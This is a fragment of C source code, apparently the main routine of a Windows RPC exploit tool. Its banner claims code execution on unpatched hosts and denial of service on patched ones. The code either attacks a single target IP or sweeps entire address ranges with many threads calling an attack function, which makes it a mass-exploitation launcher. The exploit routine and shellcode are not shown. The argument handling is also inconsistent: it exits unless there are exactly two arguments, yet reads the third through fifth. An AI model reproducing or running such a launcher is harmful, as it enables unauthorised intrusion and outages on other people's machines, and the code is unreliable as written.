//HFILE hf=_lopen("asd123",0x1001);
//printf("%x",hf);
//_lclose(hf);
//return;
if(argc!=2){
fprintf(stderr, "RPC universal exploit. Exploit MS09-039 vulnerability\n"
"unpatched host - to codee xecution\n"
"patched host - to DoS\n"
"based on original XFocus RPCDCOM2 exploit\n"
"modification and shellcode (c) by karlss0n\n"
"published by www.security.nnov.ru\n"
"\n"
"usage: %s <target_ip>\n",
argv[0]);
return 10;
}
WSADATA wsaData;
int wVersionRequested;
wVersionRequested = MAKEWORD( 2, 2 );
int err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
return 1;
}
if(strchr(argv[1],'.'))
{
attack(argv[1],1);
Sleep(20000);
return 2;
}
int cb=1,db=1;
cb=atoi(argv[3]);
db=atoi(argv[4]);
long tm=atoi(argv[5]);
for(int c=cb;c<255;c++)
{
for(int d=db;d<255;d++)
{
sprintf(adr,"%s.%s.%d.%d",argv[1],argv[2],c,d);
if(thread_count>tm) while(thread_count>tm) Sleep(100);
CreateThread(NULL,0,&ThreadProc,(void *)"",0,NULL);
Sleep(10);
fflush(fp1);
}
}
Sleep(60000);
fclose(fp1);
return 0;
}
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